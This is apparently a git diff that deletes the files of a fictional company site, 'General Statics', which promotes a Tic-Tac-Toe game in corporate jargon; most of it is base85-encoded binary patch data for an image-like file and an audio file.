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 - - - General Statics - - - - - -

General Statics

- -

- General Statics is pleased to announce our shift into the casual gaming - market. Please try our new flagship product: Tic-Tac-Toe Extreme! -

- - - - - - -
You play X. Reload this page to start over.
- -

- This strategic shift will bring our company back to the forefront - of revenue-generating companies. -

- -

About Us

- -

- Most strategic planning involves thinking and talking - about the future. Crafting and executing strategy requires - actually making decisions and acting on the future. And doing - so in an “expeditionary” manner that enables continuous - change, flexibility, and adaptability. -

- -

- General Statics continuously delivers value through leveraging technology to - change behaviors, processes and practices. In the Knowledge Economy, many - of the most decisive sources of value are intangible. We - help our clients to optimize both tangible and intangible - - value. We deploy and leverage new technologies to change the - dynamics of organizational processes, relationships, and - interactions with customers, clients, partners, members, and - other stakeholders. This drives enhanced performance, reduces - costs, and enables enterprises to improve their competitive - advantage. -

- -

- Knowledge Age enterprises must realign their strategies, - processes and practices to the post-recession Economy. - New generations of measurement and analytics tools are - making it possible for enterprises to pursue new - strategies that lead them to higher planes of nimble - performance. -

- -

- Employee access: - -

- - - diff --git a/packages/gs/generalstatics.com/msg.ogg b/packages/gs/generalstatics.com/msg.ogg deleted file mode 100644 index bdae91f06e1957b9f96ece2e1ada378c6286802c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 19410 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 